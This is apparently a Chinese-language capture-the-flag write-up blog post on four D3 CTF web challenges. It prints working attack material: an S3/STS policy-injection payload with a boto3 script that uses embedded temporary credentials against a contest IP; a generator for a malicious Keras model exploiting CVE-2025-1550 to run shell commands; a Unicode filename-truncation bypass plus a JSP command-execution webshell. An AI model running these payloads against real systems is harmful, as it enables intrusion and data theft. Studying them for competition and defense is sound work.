D3 CTF

D3 CTF

1.D3 invitation

先伪造拿到jwt

payload*:{“object_name”:”#"]},{"Effect":"Allow","Action":["s3:"],"Resource":["arn:aws:s3:::/*”}

image-20250604171659123

image-20250605172402599

2. STS 令牌策略注入

  • 场景:后端生成 STS 策略时,未过滤用户输入,导致 RAM 策略被篡改。

  • 原理:用户输入恶意字符,嵌入 RAM 策略,扩大权限范围。

  • payload:{“object_name”:”#"]},{"Effect":"Allow","Action":["s3:"],"Resource":["arn:aws:s3:::/*”}

    image-20250605173030056

再拿着令牌去访问下载flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import boto3
from botocore.client import Config
from botocore.exceptions import ClientError


def list_objects_in_bucket(access_key, secret_key, session_token, endpoint, bucket):
"""列出存储桶中的所有对象"""
session = boto3.session.Session()
s3 = session.client(
service_name='s3',
endpoint_url=endpoint,
aws_access_key_id=access_key,
aws_secret_access_key=secret_key,
aws_session_token=session_token,
config=Config(signature_version='s3v4'),
region_name='us-east-1'
)

try:
response = s3.list_objects_v2(Bucket=bucket)

if 'Contents' in response:
print(f"桶 '{bucket}' 中的对象列表:")
return [obj['Key'] for obj in response['Contents']]
else:
print(f"桶 '{bucket}' 为空。")
return []

except ClientError as e:
print(f"列出对象时出错: {e}")
return []


def download_flag_file(access_key, secret_key, session_token, endpoint, bucket, object_name, download_path):
"""下载指定对象到本地文件"""
session = boto3.session.Session()
s3 = session.client(
service_name='s3',
endpoint_url=endpoint,
aws_access_key_id=access_key,
aws_secret_access_key=secret_key,
aws_session_token=session_token,
config=Config(signature_version='s3v4'),
region_name='us-east-1'
)

try:
s3.download_file(bucket, object_name, download_path)
print(f"成功下载 {object_name}{download_path}")
return True
except ClientError as e:
print(f"下载失败: {e}")
return False


if __name__ == "__main__":
access_key = "LG3NMF8KJW6PG6SCBDKJ"
secret_key = "E6zlKw41LzXyCZ77RD1rkDm0ZYYY+eu1ZOjWt2OG"
session_token = "eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiJMRzNOTUY4S0pXNlBHNlNDQkRLSiIsImV4cCI6MTc0OTAyOTg5OSwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2S2lKZGZTeDdJa1ZtWm1WamRDSTZJa0ZzYkc5M0lpd2lRV04wYVc5dUlqcGJJbk16T2t4cGMzUkJiR3hOZVVKMVkydGxkSE1pWFN3aVVtVnpiM1Z5WTJVaU9sc2lLaW9pWFgwc2V5SkZabVpsWTNRaU9pSkJiR3h2ZHlJc0lrRmpkR2x2YmlJNld5SnpNenBIWlhSUFltcGxZM1FpTENKek16cFFkWFJQWW1wbFkzUWlYU3dpVW1WemIzVnlZMlVpT2xzaVlYSnVPbUYzY3pwek16bzZPbVpzWVdjdktpSmRmU3g3SWtWbVptVmpkQ0k2SWtGc2JHOTNJaXdpUVdOMGFXOXVJanBiSW5Nek9reHBjM1JDZFdOclpYUWlYU3dpVW1WemIzVnlZMlVpT2xzaVlYSnVPbUYzY3pwek16bzZPbVpzWVdjaVhYMWRmUT09In0.cJrQc8vU2lOW8RhX6Is1EqTMu0gXWl51aQ52URU4R19gfxh5Or1oOBrg7h9Wfj19MjJlgpXvJwOJXedW5m7zGQ"
endpoint = "http://35.241.98.126:30093"
bucket = "flag"

# 列出桶中的对象
objects = list_objects_in_bucket(access_key, secret_key, session_token, endpoint, bucket)

# 如果有对象,下载第一个对象
if objects:
first_object = objects[0]
download_path = f"downloaded_{first_object}"
download_flag_file(access_key, secret_key, session_token, endpoint, bucket, first_object, download_path)
else:
print("没有可下载的对象。")

2.D3 model

通俗易懂解释 CVE-2025-1550:Keras 模型暗藏的 “黑客后门”

一、什么是 Keras 和漏洞?

Keras 是一个常用的机器学习工具,用来创建和训练 AI 模型。就像我们用 Word 保存文档一样,Keras 会把模型保存成一个包含多个文件的 “包裹”(.keras 格式),里面有模型的 “蓝图”(config.json)、“元数据”(metadata.json)和 “训练数据”(weights.h5)。

漏洞的核心问题:当 Keras 加载一个恶意构造的模型文件(甚至只是一个恶意的 JSON 文件)时,黑客可以让你的电脑执行任意恶意代码(比如删除文件、下载病毒、远程控制电脑等)。这就像你打开一个看似正常的 Word 文档,结果里面藏着一个病毒程序,一打开就自动运行了。

关键点:漏洞的核心是 Keras 在反序列化模型配置时,允许动态加载任意 Python 模块并执行函数,且未对输入做安全过滤。这相当于给模型加载过程开了一个 “后门”,让恶意代码能伪装成模型配置被执行。

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import zipfile
import json
from keras.models import Sequential
from keras.layers import Dense
import numpy as np
import os

model_name = "test.keras"

x_train = np.random.rand(100, 28 * 28)
y_train = np.random.rand(100)

model = Sequential([Dense(1, activation='linear', input_dim=28 * 28)])

model.compile(optimizer='adam', loss='mse')
model.fit(x_train, y_train, epochs=5)
model.save(model_name)

with zipfile.ZipFile(model_name, "r") as f:
config = json.loads(f.read("config.json").decode())

config["config"]["layers"][0]["module"] = "keras.models"
config["config"]["layers"][0]["class_name"] = "Model"
config["config"]["layers"][0]["config"] = {
"name": "mvlttt",
"layers": [
{
"name": "mvlttt",
"class_name": "function",
"config": "Popen",
"module": "subprocess",
"inbound_nodes": [{"args": [["sh", "-c","env>/app/index.html"]], "kwargs": {"bufsize": -1}}]
}],
"input_layers": [["mvlttt", 0, 0]],
"output_layers": [["mvlttt", 0, 0]]
}

with zipfile.ZipFile(model_name, 'r') as zip_read:
with zipfile.ZipFile(f"tmp.{model_name}", 'w') as zip_write:
for item in zip_read.infolist():
if item.filename != "config.json":
zip_write.writestr(item, zip_read.read(item.filename))

os.remove(model_name)
os.rename(f"tmp.{model_name}", model_name)

with zipfile.ZipFile(model_name, "a") as zf:
zf.writestr("config.json", json.dumps(config))

print("[+] Malicious model ready")

生成模型后上传,再刷新页面即可(将环境变量输出到主页)

3.D3 jtr

一、题目背景与核心问题

本题围绕网站备份系统的安全漏洞展开,核心难点在于:

  • 目标:上传 JSP 文件实现远程代码执行(RCE)
  • 限制:后端对文件名有严格校验,直接上传.jsp后缀会被拦截
  • 突破口:备份系统使用的jtar库存在文件名处理漏洞,可利用 Unicode 字符截断绕过校验

二、jtar 库的 Unicode 字符处理漏洞原理

jtar是一个 Java 实现的 tar 打包库,其核心问题出在TarHeader类的getNameBytes方法中。当处理包含 Unicode 字符的文件名时,库会将字符强制转换为字节(使用(byte)转换),这会导致高位字节被截断,仅保留低 8 位字节。

三、Unicode 字符截断攻击的具体实现

  1. 字符截断原理

    • 每个 Unicode 字符由 2 字节(或更多)表示,例如字符的 Unicode 编码为U+966A(十六进制)
    • 当执行(byte)'陪'时,实际计算为(byte)0x966A,由于强制转换为 byte 类型,仅保留低 8 位0x6A
    • 0x6A对应的 ASCII 字符正是'j',因此在截断后变为'j'
  2. 构造攻击文件名

    • 示例文件名:payload.陪sp
    • 解析过程:
      • 上传时,文件名包含U+966A),系统校验可能只检查可见字符或简单规则,允许上传
      • 当使用 jtar 打包时,被截断为'j',文件名变为payload.jsp
      • 恢复备份时,文件被写入 JSP 解析目录,最终以.jsp后缀存在,实现解析执行
  3. Unicode 字符搜索方法

    • 使用用户提供的 Python 脚本可反向查找对应 ASCII 字符的 Unicode 字符

    • 例如,查找对应'j'(ASCII 码 106,0x6A)的 Unicode 字符

    • 查找脚本

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      import unicodedata

      def reverse_search(byte_value):
      low_byte = byte_value & 0xFF
      candidates = []
      for high in range(0x00, 0xFF + 1):
      code_point = (high << 8) | low_byte
      try:
      char = chr(code_point)
      name = unicodedata.name(char)
      candidates.append((f"U+{code_point:04X}", char, name))
      except ValueError:
      continue
      return candidates

      ascii_character = "j" # 可替换为"s"或"p"
      byte_val = ord(ascii_character)
      print(f"Possible original characters ({byte_val} → 0x{byte_val & 0xFF:02X}):")
      results = reverse_search(byte_val)
      for cp, char, name in results:
      print(f"{cp}: {char} - {name}")
  • 脚本会列出所有低字节为0x6A的 Unicode 字符,如U+006A(’j’ 本身)、U+016A(’Ǫ’)、U+026A(’ɪ’)等,其中部分字符可能绕过上传校验。

    上传与利用备份功能

    • 将构造的文件上传至系统(可能通过文件上传接口或其他方式)

    • 利用备份功能触发 jtar 打包,文件名中的 Unicode 字符被截断为.jsp

    • 恢复备份时,文件被写入 JSP 解析目录

      最后访问rce

      110.42.47.146:7777/view?page=712ea348-98fd-497f-ab94-3af428f9e052&cmd=cat /flag

9d51446618ba51c76ec67d8d48022af

jsp格式的木马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<%@ page import="java.io.*" %> 
<%
String cmd = "printenv";
String output = "";
try {


Process p = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader(new
InputStreamReader(p.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
output += line + "<br>";
}
} catch (Exception e) {
output = "Error executing command: " + e.getMessage();
}
%>

<html>
<head><title>Command Output</title></head>
<body>
<h2>Executed Command: <code><%= cmd %></code></h2>
<pre><%= output %></pre>
</body>
</html>

cmd实现命令执行

4.D3 tidy quic

该 Go 脚本的核心思路与代码逻辑详解(基于 HTTP/3 缓冲区污染攻击)

一、攻击背景:HTTP/3 缓冲区污染漏洞

HTTP/3 基于 QUIC 协议,服务器在处理请求时可能重复使用同一块内存缓冲区(Buffer Pool)来存储不同请求的数据。若两次请求的 Content-Length(内容长度)相同,服务器会分配同一块固定大小的缓冲区。此时:

  • 第一次请求:在缓冲区中写入数据(如包含 "flag" 的字符串)。
  • 第二次请求:覆盖缓冲区的前半部分,与第一次残留的 "flag" 拼接成特定字符串(如 "I want flag"),触发服务器的敏感逻辑(如返回 flag)。

二、脚本核心思路拆解

该脚本通过两次 HTTP/3 POST 请求,利用缓冲区重用机制,拼接出服务器预期的字符串,最终获取 flag。以下是关键步骤的详细解释:

image-20250608151105334

image-20250608151144852


D3 CTF
http://fearless-123.github.io/2025/06/11/D3 CTF/
作者
fearless123
发布于
2025年6月11日
许可协议